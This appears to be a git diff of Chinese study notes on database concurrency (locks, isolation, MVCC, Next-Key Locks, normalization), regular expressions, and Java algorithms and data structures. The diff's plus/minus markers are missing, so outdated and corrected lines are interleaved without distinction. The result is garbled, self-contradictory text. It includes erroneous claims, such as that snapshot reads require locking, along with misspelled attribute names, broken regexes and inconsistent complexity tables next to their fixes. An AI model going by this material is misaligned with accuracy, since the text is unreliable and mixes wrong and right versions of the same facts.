**并发控制可以通过封锁来实现,但是封锁操作要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。**
**并发控制可以通过封锁来实现,但是封锁操作要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。**
# 三、封锁
@ -108,11 +110,13 @@ T<sub>1</sub> 读取某个范围的数据T<sub>2</sub> 在这个范围内插
<div align="center"> <img src="../pics//1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
应该尽量只锁定需要修改的那部分数据,而不是所有的资源。锁定的数据量越少,发生锁争用的可能就越小,系统的并发程度就越高。
但是加锁需要消耗资源,锁的各种操作,包括获取锁,检查锁是否已经解除、释放锁,都会增加系统开销。因此封锁粒度越小,系统开销就越大。需要在锁开销以及数据安全性之间做一个权衡。
但是加锁需要消耗资源,锁的各种操作,包括获取锁,检查锁是否已经解除、释放锁,都会增加系统开销。因此封锁粒度越小,系统开销就越大。
MySQL 中提供了两种封锁粒度:行级锁以及表级锁
在选择封锁粒度时,需要在锁开销和并发程度之间做一个权衡
## 封锁类型
@ -130,7 +134,7 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
| - | X | S |
| :--: | :--: | :--: |
|X|NO|No|
|X|No|No|
|S|No|Yes|
### 2. 意向锁
@ -147,7 +151,7 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
| - | X | IX | S | IS |
| :--: | :--: | :--: | :--: | :--: |
|X |No |No |No | No|
|IX |No |YES|No | Yes|
|IX |No |Yes|No | Yes|
|S |No |No |Yes| Yes|
|IS |No |Yes|Yes| Yes|
@ -157,7 +161,7 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
**一级封锁协议**
事务 T 要修改数据 A 时必须加 X 锁,直到事务结束才释放锁。
事务 T 要修改数据 A 时必须加 X 锁,直到 T 结束才释放锁。
可以解决丢失修改问题,因为不能同时有两个事务对同一个数据进行修改,那么一个事务的修改就不会被覆盖。
@ -225,13 +229,13 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
事务遵循两段锁协议是保证并发操作可串行化调度的充分条件。例如以下操作满足两段锁协议,它是可串行化调度。
```html
lock-x(A)...lock-s(B)...lock-s(c)...unlock(A)...unlock(C)...unlock(B)
lock-x(A)...lock-s(B)...lock-s(C)...unlock(A)...unlock(C)...unlock(B)
```
但不是必要条件,例如以下操作不满足两段锁协议,但是它还是可串行化调度。
```html
lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(c)...unlock(C)...
lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(C)...unlock(C)...
```
# 四、隔离级别
@ -287,62 +291,62 @@ InnoDB 的 MVCC 使用到的快照存储在 Undo 日志中,该日志通过回
### 1. SELECT
该操作必须保证多个事务读取到同一个数据行的快照,这个快照是最近的一个有效快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致
当开始新一个事务时,该事务的版本号肯定会大于当前所有数据行快照的创建版本号,理解这一点很关键
当开始新一个事务时,该事务的版本号肯定会大于所有数据行快照的创建版本号,理解这一点很关键
多个事务必须读取到同一个数据行的快照,并且这个快照是距离现在最近的一个有效快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致
把没对一个数据行做修改的事务称为 T<sub>1</sub>T<sub>1</sub> 所要读取的数据行快照的创建版本号必须小于当前事务的版本号,因为如果大于或者等于当前事务的版本号,那么表示该数据行快照是其它事务的最新修改,因此不能去读取它。
把没对一个数据行做修改的事务称为 TT 所要读取的数据行快照的创建版本号必须小于 T 的版本号,因为如果大于或者等于 T 的版本号,那么表示该数据行快照是其它事务的最新修改,因此不能去读取它。
除了上面的要求T<sub>1</sub> 所要读取的数据行快照的删除版本号必须大于当前事务版本号,因为如果小于等于当前事务版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
除了上面的要求T 所要读取的数据行快照的删除版本号必须大于 T 的版本号,因为如果小于等于 T 的版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
### 2. INSERT
将系统版本号作为数据行快照的创建版本号。
当前系统版本号作为数据行快照的创建版本号。
### 3. DELETE
将系统版本号作为数据行快照的删除版本号。
当前系统版本号作为数据行快照的删除版本号。
### 4. UPDATE
将系统版本号作为更新后的数据行快照的创建版本号,同时将系统版本号作为作为更新前的数据行快照的删除版本号。可以理解为执行 DELETE 后执行 INSERT。
当前系统版本号作为更新后的数据行快照的创建版本号,同时将当前系统版本号作为更新前的数据行快照的删除版本号。可以理解为执行 DELETE 后执行 INSERT。
## 快照读与当前读
快照读读指的是读取快照中的数据,而当前读指的是读取最新的数据。
### 1. 快照读
当前读:
读取快照中的数据,可以减少加锁所带来的开销。
```sql
select * from table ....;
```
快照读:
### 2. 当前读
读取最新的数据,需要加锁。以下第一个语句需要加 S 锁,其它都需要加 X 锁。
```sql
select * from table where ? lock in share mode;
select * from table where ? for update;
insert;
update ;
update;
delete;
```
引入当前读的目的主要是为了免去加锁操作带来的性能开销,但是快照读需要加锁。
# 六、Next-Key Locks
Next-Key Locks 也是 MySQL 的 InnoDB 存储引擎的一种实现。MVCC 不能解决幻读的问题Next-Key Locks 就是为了解决这个问题而存在的。在可重复读隔离级别下,MVCC + Next-Key Locks就可以防止幻读的出现
Next-Key Locks 也是 MySQL 的 InnoDB 存储引擎的一种实现。MVCC 不能解决幻读的问题Next-Key Locks 就是为了解决这个问题而存在的。在可重复读隔离级别下,使用 MVCC + Next-Key Locks 可以解决幻读问题
## Record Locks
锁定的对象索引而不是数据。如果表没有设置索引InnoDB 会自动在主键上创建隐藏的聚集索引,因此 Record Lock 依然可以使用。
锁定的对象索引而不是数据。如果表没有设置索引InnoDB 会自动在主键上创建隐藏的聚集索引,因此 Record Locks 依然可以使用。
## Grap Locks
锁定一个范围内的索引,例如当一个事务执行以下语句,其它事务就不能在 t.c1 中插入 15。
锁定一个范围内的索引,例如当一个事务执行以下语句,其它事务就不能在 t.c 中插入 15。
```sql
SELECT c1 FROM t WHERE c1 BETWEEN 10 and 20 FOR UPDATE;
SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
```
## Next-Key Locks
@ -377,7 +381,7 @@ SELECT c1 FROM t WHERE c1 BETWEEN 10 and 20 FOR UPDATE;
记 A->B 表示 A 函数决定 B也可以说 B 函数依赖于 A。
如果 {A1A2... An} 是关系的一个或多个属性的集合,该集合决定了关系的其它所有属性并且是最小的,那么该集合就称为键码。
如果 {A1A2... An} 是关系的一个或多个属性的集合,该集合函数决定了关系的其它所有属性并且是最小的,那么该集合就称为键码。
对于 W->A如果能找到 W 的真子集 W',使得 W'-> A那么 W->A 就是部分函数依赖,否则就是完全函数依赖;
@ -393,9 +397,9 @@ SELECT c1 FROM t WHERE c1 BETWEEN 10 and 20 FOR UPDATE;
不符合范式的关系,会产生很多异常,主要有以下四种异常:
1. 冗余数据,例如学生-2 出现了两次。
2. 修改异常修改了一个记录中的信息,但是另一个记录中相同的信息却没有被修改。
3. 删除异常,删除一个信息,那么也会丢失其它信息。例如如果删除了课程-1需要删除第二行和第三行那么学生-1 的信息就会丢失。
1. 冗余数据:例如 学生-2 出现了两次。
2. 修改异常修改了一个记录中的信息,但是另一个记录中相同的信息却没有被修改。
3. 删除异常:删除一个信息,那么也会丢失其它信息。例如如果删除了 课程-1需要删除第一行和第三行那么 学生-1 的信息就会丢失。
4. 插入异常,例如想要插入一个学生的信息,如果这个学生还没选课,那么就无法插入。
## 范式
@ -425,14 +429,14 @@ SELECT c1 FROM t WHERE c1 BETWEEN 10 and 20 FOR UPDATE;
以上学生课程关系中,{Sno, Cname} 为键码,有如下函数依赖:
- Sno, Cname -> Sname, Sdept, Mname
- Son -> Sname, Sdept
- Sno -> Sname, Sdept
- Sdept -> Mname
- Sno -> Manme
- Sno -> Mname
- Sno, Cname-> Grade
Grade 完全函数依赖于键码,它没有任何冗余数据,每个学生的每门课都有特定的成绩。
Sname, Sdept 和 Manme 都函数依赖于 Sno而部分依赖于键码。当一个学生选修了多门课时这些数据就会出现多次造成大量冗余数据。
Sname, Sdept 和 Mname 都函数依赖于 Sno而部分依赖于键码。当一个学生选修了多门课时这些数据就会出现多次造成大量冗余数据。
<font size=4> **分解后** </font><br>
@ -464,7 +468,7 @@ Sname, Sdept 和 Manme 都函数依赖于 Sno而部分依赖于键码。当
非主属性不传递依赖于键码。
上面的关系-1 中存在以下传递依赖Sno -> Sdept -> Mname可以进行以下分解
上面的 关系-1 中存在以下传递依赖Sno -> Sdept -> Mname可以进行以下分解
关系-11

View File

@ -19,7 +19,7 @@
正则表达式内置于其它语言或者软件产品中,它本身不是一种语言或者软件。
[正则表达式在线工具](http://tool.chinaz.com/regex)
[正则表达式在线工具](https://regexr.com/)
# 二、匹配单个字符
@ -118,7 +118,7 @@ abc[^0-9]
**正则表达式**
```
[\w.]+@\w+.\w+
[\w.]+@\w+\.\w+
```
[\w.] 匹配的是字母数字或者 . ,在其后面加上 + ,表示匹配多次。在字符集合 [ ] 里,. 不是元字符;
@ -130,8 +130,8 @@ abc[^0-9]
为了可读性,常常把转义的字符放到字符集合 [ ] 中,但是含义是相同的。
```
[\w.]+@\w+.\w+
[\w.]+@[\w]+.[\w]+
[\w.]+@\w+\.\w+
[\w.]+@[\w]+\.[\w]+
```
**{n}** 匹配 n 个字符,**{m, n}** 匹配 m\~n 个字符,**{m,}** 至少匹配 m 个字符;
@ -164,7 +164,7 @@ a.+c
^ 元字符在字符集合中用作求非,在字符集合外用作匹配字符串的开头。
使用 (?m) 来打开分行匹配模式,在该模式下,换行被当做字符串的边界。
分行匹配模式multiline下,换行被当做字符串的边界。
**应用**
@ -173,10 +173,10 @@ a.+c
**正则表达式**
```
(?m)^\s*//.*$
^\s*\/\/.*$
```
如果没用 (?m),则只会匹配 // 注释 1 以及之后的所有内容。用了分行匹配模式之后,换行符被当成是字符串分隔符,因此能正确匹配出两个注释内容。
<div align="center"> <img src="../pics//600e9c75-5033-4dad-ae2b-930957db638e.png"/> </div><br>
**匹配结果**
@ -197,7 +197,7 @@ a.+c
**正则表达式**
```
(ab) {2,}
(ab){2,}
```
**匹配结果**
@ -206,6 +206,8 @@ a.+c
**|** 是或元字符,它把左边和右边所有的部分都看成单独的两个部分,两个部分只要有一个匹配就行。
**正则表达式**
```
(19|20)\d{2}
```
@ -220,21 +222,23 @@ a.+c
匹配 IP 地址。IP 地址中每部分都是 0-255 的数字,用正则表达式匹配时以下情况是合法的:
1. 一位或者两位的数字
2. 1 开头的三位数
3. 2 开头,第 2 位是 0-4 的三位数
4. 25 开头,第 3 位是 0-5 的三位数
1. 一位数字
2. 不以 0 开头的两位数字
3. 1 开头的三位数
4. 2 开头,第 2 位是 0-4 的三位数
5. 25 开头,第 3 位是 0-5 的三位数
**正则表达式**
```
(((\d{1,2})|(1\d{2})|(2[0-4]\d)|(25[0-5]))\.) {3}(((\d{1,2})|(1\d{2})|(2[0-4]\d)|(25[0-5])))
((25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))\.){3}(25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))
```
**匹配结果**
1. **192.168.0.1**
2. 555.555.555.555
2. 00.00.00.00
3. 555.555.555.555
# 八、回溯引用
@ -249,7 +253,7 @@ a.+c
\1 将回溯引用子表达式 (h[1-6]) 匹配的内容,也就是说必须和子表达式匹配的内容一致。
```
<(h[1-6])>\w*?</\1>
<(h[1-6])>\w*?<\/\1>
```
**匹配结果**

View File

@ -75,13 +75,13 @@ public class ThreeSum {
}
```
该算法的内循环为 if(a[i]+a[j]+a[k]==0) 语句,总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6-N<sup>2</sup>/2+N/3因此它的近似执行次数为 \~N<sup>3</sup>/6增长数量级为 N<sup>3</sup>
该算法的内循环为 if(a[i]+a[j]+a[k]==0) 语句,总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6-N<sup>2</sup>/2+N/3因此它的近似执行次数为 \~N<sup>3</sup>/6增长数量级为 O(N<sup>3</sup>)
<font size=4> **改进** </font></br>
通过将数组先排序,对两个元素求和,并用二分查找方法查找是否存在该和的相反数,如果存在,就说明存在三元组的和为 0。
该方法可以将 ThreeSum 算法增长数量级降低为 N<sup>2</sup>logN。
该方法可以将 ThreeSum 算法增长数量级降低为 O(N<sup>2</sup>logN)
```java
public class ThreeSumFast {
@ -104,9 +104,9 @@ public class ThreeSumFast {
int l = 0, h = nums.length - 1;
while (l <= h) {
int m = l + (h - l) / 2;
if (nums[m] == target) return m;
else if (nums[m] < target) h = m - 1;
else l = m + 1;
if (target == nums[m]) return m;
else if (target > nums[m]) l = m + 1;
else h = m - 1;
}
return -1;
}
@ -301,10 +301,12 @@ public class Queue<Item> {
}
// 出队列
public Item dequeue(){
public Item dequeue() {
if (isEmpty()) return null;
Node node = first;
first = first.next;
N--;
if (isEmpty()) last = null;
return node.item;
}
}
@ -315,11 +317,11 @@ public class Queue<Item> {
用于解决动态连通性问题,能动态连接两个点,并且判断两个点是否连通。
<div align="center"> <img src="../pics//dc752c5b-bb59-4616-bf9c-21276690a24d.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//9d0a637c-6a8f-4f5a-99b9-fdcfa26793ff.png" width="400"/> </div><br>
| 方法 | 描述 |
| ---: | :--- |
| :---: | :---: |
| UF(int N) | 构造一个大小为 N 的并查集 |
| void union(int p, int q) | 连接 p 和 q 节点 |
| int find(int p) | 查找 p 所在的连通分量 |
@ -399,7 +401,7 @@ public void union(int p, int q) {
理论研究证明,加权 quick-union 算法构造的树深度最多不超过 logN。
<div align="center"> <img src="../pics//095720ee-84b3-42ff-af71-70ceb6a2f4a3.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//a4c17d43-fa5e-4935-b74e-147e7f7e782c.png" width="200"/> </div><br>
```java
public class WeightedQuickUnionUF {
@ -450,13 +452,11 @@ public class WeightedQuickUnionUF {
| :---: | :---: | :---: |
| quick-find | N | 1 |
| quick-union | 树高 | 树高 |
| 加权 quick-union | lgN | lgN |
| 加权 quick-union | logN | logN |
| 路径压缩的加权 quick-union | 非常接近 1 | 非常接近 1 |
# 四、排序
<font size=4> **约定** </font><br>
待排序的元素需要实现 Java 的 Comparable 接口,该接口有 compareTo() 方法,可以用它来判断两个元素的大小关系。
研究排序算法的成本模型时,计算的是比较和交换的次数。
@ -464,11 +464,11 @@ public class WeightedQuickUnionUF {
使用辅助函数 less() 和 exch() 来进行比较和交换的操作,使得代码的可读性和可移植性更好。
```java
private boolean less(Comparable v, Comparable w){
private boolean less(Comparable v, Comparable w) {
return v.compareTo(w) < 0;
}
private void exch(Comparable[] a, int i, int j){
private void exch(Comparable[] a, int i, int j) {
Comparable t = a[i];
a[i] = a[j];
a[j] = t;
@ -479,11 +479,11 @@ private void exch(Comparable[] a, int i, int j){
找到数组中的最小元素,将它与数组的第一个元素交换位置。再从剩下的元素中找到最小的元素,将它与数组的第二个元素交换位置。不断进行这样的操作,直到将整个数组排序。
<div align="center"> <img src="../pics//ae3fc93a-44d5-4beb-b05a-874bd9c0a657.png" width="200"/> </div><br>
<div align="center"> <img src="../pics//ed7b96ac-6428-4bd5-9986-674c54c2a959.png" width="200"/> </div><br>
```java
public class Selection {
public static void sort(Comparable[] a) {
public void sort(Comparable[] a) {
int N = a.length;
for (int i = 0; i < N; i++) {
int min = i;
@ -506,7 +506,7 @@ public class Selection {
```java
public class Insertion {
public static void sort(Comparable[] a) {
public void sort(Comparable[] a) {
int N = a.length;
for (int i = 1; i < N; i++) {
for (int j = i; j > 0 && less(a[j], a[j - 1]); j--) {
@ -517,7 +517,11 @@ public class Insertion {
}
```
插入排序的复杂度取决于数组的初始顺序,如果数组已经部分有序了,那么插入排序会很快。平均情况下插入排序需要 \~N<sup>2</sup>/4 比较以及 \~N<sup>2</sup>/4 次交换,最坏的情况下需要 \~N<sup>2</sup>/2 比较以及 \~N<sup>2</sup>/2 次交换,最坏的情况是数组是逆序的;而最好的情况下需要 N-1 次比较和 0 次交换,最好的情况就是数组已经有序了。
插入排序的复杂度取决于数组的初始顺序,如果数组已经部分有序了,那么插入排序会很快。
- 平均情况下插入排序需要 \~N<sup>2</sup>/4 比较以及 \~N<sup>2</sup>/4 次交换;
- 最坏的情况下需要 \~N<sup>2</sup>/2 比较以及 \~N<sup>2</sup>/2 次交换,最坏的情况是数组是逆序的;
- 最好的情况下需要 N-1 次比较和 0 次交换,最好的情况就是数组已经有序了。
插入排序对于部分有序数组和小规模数组特别高效。
@ -529,11 +533,11 @@ public class Insertion {
希尔排序使用插入排序对间隔 h 的序列进行排序,如果 h 很大,那么元素就能很快的移到很远的地方。通过不断减小 h最后令 h=1就可以使得整个数组是有序的。
<div align="center"> <img src="../pics//4bb7ed45-ec14-4d31-9da4-94024d9d3b05.png" width="500"/> </div><br>
<div align="center"> <img src="../pics//cdbe1d12-5ad9-4acb-a717-bbc822c2acf3.png" width="500"/> </div><br>
```java
public class Shell {
public static void sort(Comparable[] a) {
public void sort(Comparable[] a) {
int N = a.length;
int h = 1;
while (h < N / 3) {
@ -565,9 +569,9 @@ public class Shell {
```java
public class MergeSort {
private static Comparable[] aux;
private Comparable[] aux;
private static void merge(Comparable[] a, int lo, int mid, int hi) {
private void merge(Comparable[] a, int lo, int mid, int hi) {
int i = lo, j = mid + 1;
for (int k = lo; k <= hi; k++) {
@ -577,7 +581,7 @@ public class MergeSort {
for (int k = lo; k <= hi; k++) {
if (i > mid) a[k] = aux[j++];
else if (j > hi) a[k] = aux[i++];
else if (aux[i].compareTo(a[j]) < 0) a[k] = aux[i++]; // 先进行这一步保证稳定性
else if (aux[i].compareTo(a[j]) <= 0) a[k] = aux[i++]; // 先进行这一步,保证稳定性
else a[k] = aux[j++];
}
}
@ -590,12 +594,12 @@ public class MergeSort {
```java
public static void sort(Comparable[] a) {
public void sort(Comparable[] a) {
aux = new Comparable[a.length];
sort(a, 0, a.length - 1);
}
private static void sort(Comparable[] a, int lo, int hi) {
private void sort(Comparable[] a, int lo, int hi) {
if (hi <= lo) return;
int mid = lo + (hi - lo) / 2;
sort(a, lo, mid);
@ -613,7 +617,7 @@ private static void sort(Comparable[] a, int lo, int hi) {
先归并那些微型数组,然后成对归并得到的子数组。
```java
public static void busort(Comparable[] a) {
public void busort(Comparable[] a) {
int N = a.length;
aux = new Comparable[N];
for (int sz = 1; sz < N; sz += sz) {
@ -628,23 +632,30 @@ public static void busort(Comparable[] a) {
### 1. 基本算法
归并排序将数组分为两个子数组分别排序,并将有序的子数组归并使得整个数组排序;快速排序通过一个切分元素将数组分为两个子数组,左子数组小于等于切分元素,右子数组大于等于切分元素,将这两个子数组排序也就将整个数组排序了。
- 归并排序将数组分为两个子数组分别排序,并将有序的子数组归并使得整个数组排序;
- 快速排序通过一个切分元素将数组分为两个子数组,左子数组小于等于切分元素,右子数组大于等于切分元素,将这两个子数组排序也就将整个数组排序了。
<div align="center"> <img src="../pics//ab77240d-7338-4547-9183-00215e7220ec.png" width="500"/> </div><br>
```java
public class QuickSort {
public static void sort(Comparable[] a) {
public void sort(Comparable[] a) {
shuffle(a);
sort(a, 0, a.length - 1);
}
private static void sort(Comparable[] a, int lo, int hi) {
private void sort(Comparable[] a, int lo, int hi) {
if (hi <= lo) return;
int j = partition(a, lo, hi);
sort(a, lo, j - 1);
sort(a, j + 1, hi);
}
private void shuffle(Comparable[] array) {
List<Comparable> list = Arrays.asList(array);
Collections.shuffle(list);
list.toArray(array);
}
}
```
@ -652,10 +663,10 @@ public class QuickSort {
取 a[lo] 作为切分元素,然后从数组的左端向右扫描直到找到第一个大于等于它的元素,再从数组的右端向左扫描找到第一个小于等于它的元素,交换这两个元素,并不断进行这个过程,就可以保证左指针 i 的左侧元素都不大于切分元素,右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时,将切分元素 a[lo] 和 a[j] 交换位置。
<div align="center"> <img src="../pics//8af348d0-4d72-4f76-b56c-0a440ed4673d.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//5aac64d3-2c7b-4f32-9e9a-1df2186f588b.png" width="400"/> </div><br>
```java
private static int partition(Comparable[] a, int lo, int hi) {
private int partition(Comparable[] a, int lo, int hi) {
int i = lo, j = hi + 1;
Comparable v = a[lo];
while (true) {
@ -679,15 +690,15 @@ private static int partition(Comparable[] a, int lo, int hi) {
### 4. 算法改进
**(一)切换到插入排序**
(一)切换到插入排序
因为快速排序在小数组中也会调用自己,对于小数组,插入排序比快速排序的性能更好,因此在小数组中可以切换到插入排序。
**(二)三取样**
(二)三取样
最好的情况下是每次都能取数组的中位数作为切分元素,但是计算中位数的代价很高。人们发现取 3 个元素并将大小居中的元素作为切分元素的效果最好。
**(三)三向切分**
(三)三向切分
对于有大量重复元素的数组,可以将数组切分为三部分,分别对应小于、等于和大于切分元素。
@ -695,7 +706,7 @@ private static int partition(Comparable[] a, int lo, int hi) {
```java
public class Quick3Way {
public static void sort(Comparable[] a, int lo, int hi) {
public void sort(Comparable[] a, int lo, int hi) {
if (hi <= lo) return;
int lt = lo, i = lo + 1, gt = hi;
Comparable v = a[lo];
@ -720,7 +731,7 @@ public class Quick3Way {
堆的某个节点的值总是大于等于子节点的值,并且堆是一颗完全二叉树。
堆可以用数组来表示,因为堆是一种完全二叉树,而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2而它的两个子节点的位置分别为 2k 和 2k+1。这里我们不使用数组索引为 0 的位置,是为了更清晰地理解节点的关系。
堆可以用数组来表示,因为堆是一种完全二叉树,而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2而它的两个子节点的位置分别为 2k 和 2k+1。这里我们不使用数组索引为 0 的位置,是为了更清晰地描述节点的位置关系。
<div align="center"> <img src="../pics//f3080f83-6239-459b-8e9c-03b6641f7815.png" width="200"/> </div><br>
@ -813,13 +824,13 @@ public Key delMax() {
由于堆可以很容易得到最大的元素并删除它,不断地进行这种操作可以得到一个递减序列。如果把最大元素和当前堆中数组的最后一个元素交换位置,并且不删除它,那么就可以得到一个从尾到头的递减序列,从正向来看就是一个递增序列。因此很容易使用堆来进行排序,并且堆排序是原地排序,不占用额外空间。
**构建堆**
(一)构建堆
无序数组建立堆最直接的方法是从左到右遍历数组,然后进行上浮操作。一个更高效的方法是从右至左进行下沉操作,如果一个节点的两个节点都已经是堆有序,那么进行下沉操作可以使得这个节点为根节点的堆有序。叶子节点不需要进行下沉操作,因此可以忽略叶子节点的元素,因此只需要遍历一半的元素即可。
<div align="center"> <img src="../pics//b84ba6fb-312b-4e69-8c77-fb6eb6fb38d4.png" width="300"/> </div><br>
**交换堆顶元素与最后一个元素**
(二)交换堆顶元素与最后一个元素
交换之后需要进行下沉操作维持堆的有序状态。
@ -901,7 +912,7 @@ public static Comparable select(Comparable[] a, int k) {
## 二分查找实现有序符号表
使用一对平行数组,一个存储键一个存储值。其中键的数组为 Comparable 数组,值的数组为 Object 数组。
使用一对平行数组,一个存储键一个存储值。
rank() 方法至关重要,当键在表中时,它能够知道该键的位置;当键不在表中时,它也能知道在何处插入新键。
@ -970,13 +981,13 @@ public class BinarySearchST<Key extends Comparable<Key>, Value> {
<div align="center"> <img src="../pics//f9f9f993-8ece-4da7-b848-af9b438fad76.png" width="200"/> </div><br>
**二叉查找树** BST是一颗二叉树并且每个节点的值都大于其左子树中的所有节点的值而小于右子树的所有节点的值。
**二叉查找树** BST是一颗二叉树并且每个节点的值都大于等于其左子树中的所有节点的值而小于等于右子树的所有节点的值。
<div align="center"> <img src="../pics//8ae4550b-f0cb-4e4d-9e2b-c550538bf230.png" width="200"/> </div><br>
BST 有一个重要性质,就是它的中序遍历结果递增排序。
<div align="center"> <img src="../pics//05e41947-3cbc-4f02-a428-96765ec916ff.png" width="200"/> </div><br>
<div align="center"> <img src="../pics//fbe54203-c005-48f0-8883-b05e564a3173.png" width="200"/> </div><br>
基本数据结构:
@ -1017,8 +1028,6 @@ public class BST<Key extends Comparable<Key>, Value> {
- 如果被查找的键和根节点的键相等,查找命中;
- 否则递归地在子树中查找:如果被查找的键较小就在左子树中查找,较大就在右子树中查找。
BST 的查找操作每次递归都会让区间减少一半,和二分查找类似,因此查找的复杂度为 O(logN)。
```java
public Value get(Key key) {
return get(root, key);
@ -1116,6 +1125,7 @@ private int rank(Key key, Node x) {
```java
private Node min(Node x) {
if (x == null) return null;
if (x.left == null) return x;
return min(x.left);
}
@ -1125,7 +1135,7 @@ private Node min(Node x) {
令指向最小节点的链接指向最小节点的右子树。
<div align="center"> <img src="../pics//26020e1a-06ab-4114-a6b3-e428de690c7e.png" width="500"/> </div><br>
<div align="center"> <img src="../pics//dd15a984-e977-4644-b127-708cddb8ca99.png" width="500"/> </div><br>
```java
public void deleteMin() {
@ -1144,7 +1154,8 @@ public Node deleteMin(Node x) {
- 如果待删除的节点只有一个子树,那么只需要让指向待删除节点的链接指向唯一的子树即可;
- 否则,让右子树的最小节点替换该节点。
<div align="center"> <img src="../pics//3290673d-edab-4678-8b2e-f18e0f6b7fc1.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//fa568fac-ac58-48dd-a9bb-23b3065bf2dc.png" width="400"/> </div><br>
```java
public void delete(Key key) {
@ -1196,7 +1207,7 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
<div align="center"> <img src="../pics//ff396233-1bb1-4e74-8bc2-d7c90146f5dd.png" width="250"/> </div><br>
2-3 查找树引入了 2- 节点和 3- 节点,目的是为了让树平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。
2-3 查找树引入了 2- 节点和 3- 节点,目的是为了让树平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。
### 1. 插入操作
@ -1218,8 +1229,6 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
2-3 查找树的查找和插入操作复杂度和插入顺序无关,在最坏的情况下查找和插入操作访问的节点必然不超过 logN 个,含有 10 亿个节点的 2-3 查找树最多只需要访问 30 个节点就能进行任意的查找和插入操作。
<div align="center"> <img src="../pics//a46cf05d-e665-4937-a939-a3ab783bc8ee.png" width="800"/> </div><br>
## 红黑二叉查找树
2-3 查找树需要用到 2- 节点和 3- 节点,红黑树使用红链接来实现 3- 节点。指向一个节点的链接颜色如果为红色,那么这个节点和上层节点表示的是一个 3- 节点,而黑色则是普通链接。
@ -1233,7 +1242,7 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
画红黑树时可以将红链接画平。
<div align="center"> <img src="../pics//f47f9729-29ed-4c17-9924-76139342fac7.png" width="800"/> </div><br>
<div align="center"> <img src="../pics//3086c248-b552-499e-b101-9cffe5c2773e.png" width="300"/> </div><br>
```java
public class RedBlackBST<Key extends Comparable<Key>, Value> {
@ -1424,13 +1433,13 @@ public class Transaction{
拉链法使用链表来存储 hash 值相同的键,从而解决冲突。此时查找需要分两步,首先查找 Key 所在的链表,然后在链表中顺序查找。
<div align="center"> <img src="../pics//b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png" width="350"/> </div><br>
<div align="center"> <img src="../pics//b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png" width="300"/> </div><br>
对于 N 个键M 条链表 (N>M),如果哈希函数能够满足均匀性的条件,每条链表的大小趋向于 N/M因此未命中的查找和插入操作所需要的比较次数为 \~N/M。
### 3. 基于线性探测法的散列表
线性探测法使用空位来解决冲突,当冲突发生时,向前探测一个空位来存储冲突的键。使用线探测法,数组的大小 M 应当大于键的个数 NM>N)。
线性探测法使用空位来解决冲突,当冲突发生时,向前探测一个空位来存储冲突的键。使用线探测法,数组的大小 M 应当大于键的个数 NM>N)。
<div align="center"> <img src="../pics//dbb8516d-37ba-4e2c-b26b-eefd7de21b45.png" width="400"/> </div><br>
@ -1522,12 +1531,12 @@ public void delete(Key key) {
**(四)调整数组大小**
线性探测法的成本取决于连续条目的长度,连续条目也叫聚簇。当聚簇很长时,在查找和插入时也需要进行很多次探测。
线性探测法的成本取决于连续条目的长度,连续条目也叫聚簇。当聚簇很长时,在查找和插入时也需要进行很多次探测。例如下图中 2\~5 位置就是一个聚簇。
<div align="center"> <img src="../pics//386cd64f-7a9d-40e6-8c55-22b90ee2d258.png" width="400"/> </div><br>
α = N/Mα 称为利用率。理论证明,当 α 小于 1/2 时探测的预计次数只在 1.5 到 2.5 之间。
<div align="center"> <img src="../pics//d3352e6a-483a-44f2-930e-28c1d677f9b9.png" width="1000"/> </div><br>
为了保证散列表的性能,应当调整数组的大小,使得 α 在 [1/4, 1/2] 之间。
```java
@ -1549,21 +1558,17 @@ private void resize(int cap) {
}
```
虽然每次重新调整数组都需要重新把每个键值对插入到散列表,但是从摊还分析的角度来看,所需要的代价却是很小的。从下图可以看出,每次数组长度加倍后,累计平均值都会增加 1这是因为散列表中每个键都需要重新计算散列值。随后平均值会下降。
<div align="center"> <img src="../pics//d7c6c42d-a4d8-4b85-82fb-c21250bf5ca1.png" width="800"/> </div><br>
## 应用
### 1. 各种符号表实现的比较
| 算法 | 插入 | 查找 | 是否有序 |
| :---: | :---: | :---: | :---: |
| 二分查找实现的有序表 | logN | N | yes |
| 二分查找实现的有序表 | N | logN | yes |
| 二叉查找树 | logN | logN | yes |
| 2-3 查找树 | logN | logN | yes |
| 拉链法实现的散列表 | logN | N/M | no |
| 线性探测法试下的删列表 | logN | 1 | no |
| 拉链法实现的散列表 | N/M | N/M | no |
| 线性探测法试下的散列表 | 1 | 1 | no |
应当优先考虑散列表,当需要有序性操作时使用红黑树。

View File

